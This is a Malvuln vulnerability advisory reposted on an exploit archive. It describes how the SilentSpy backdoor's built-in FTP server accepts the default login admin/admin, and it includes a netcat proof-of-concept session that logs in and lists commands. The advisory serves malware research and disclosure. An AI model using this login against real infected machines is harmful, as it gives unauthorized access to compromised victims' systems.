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Backdoor.Win32.SilentSpy.10 MVID-2021-0441 Authentication Race Condition

Backdoor.Win32.SilentSpy.10 MVID-2021-0441 Authentication Race Condition
Posted Jan 3, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.SilentSpy.10 malware suffers from an authentication related race condition vulnerability.

tags | exploit
systems | windows
SHA-256 | 1ac0b7dbaed7a53c71134caabc63b76c9a7d4ded9f7a76f89eab2d0a9eaff37e

Backdoor.Win32.SilentSpy.10 MVID-2021-0441 Authentication Race Condition

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SilentSpy.10
Vulnerability: Authentication Race Condition
Description: The malware runs an FTP server on TCP port 21. Third-party attackers who can reach the system before a password has been set can logon using default credentials of admin/admin. The default credentials are displayed in the FTP banner upon connecting.
Type: PE32
MD5: a7ce38e60cf08f2b234f34043b87e701
Vuln ID: MVID-2021-0441
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 21
220-+-----------------------+
220-| º∩LΘn7 ºpy FTP server |
220-+-----------------------+-------------------------------------------------+
220-| To use the FTP server type, |
220-| USER admin |
220-| PASS [servers password] |
220-| IF the server doesn't have a password then the password is also 'admin' |
220-| Have fun [type HELP for more commands] |
220 +-------------------------------------------------------------------------+
USER admin
331 and the password for admin is .. ??
PASS admin
230 Welcome
SYST
215 IBM-PC (Windows95/98/NT based system)
HELP
214-The following commands are recognized:
ABOR DELE NOOP REIN SITE SYST XRMD
ACCT HELP PASS REST SMNT TYPE SIZE
ALLO LIST PASV RETR STAT USER
APPE MKD PORT RMD STOR XCWD
CDUP MODE PWD RNFR STOU XMKD
CWD NLST QUIT RNTO STRU XPWD
214 Send comments to drtinus@yahoo.com


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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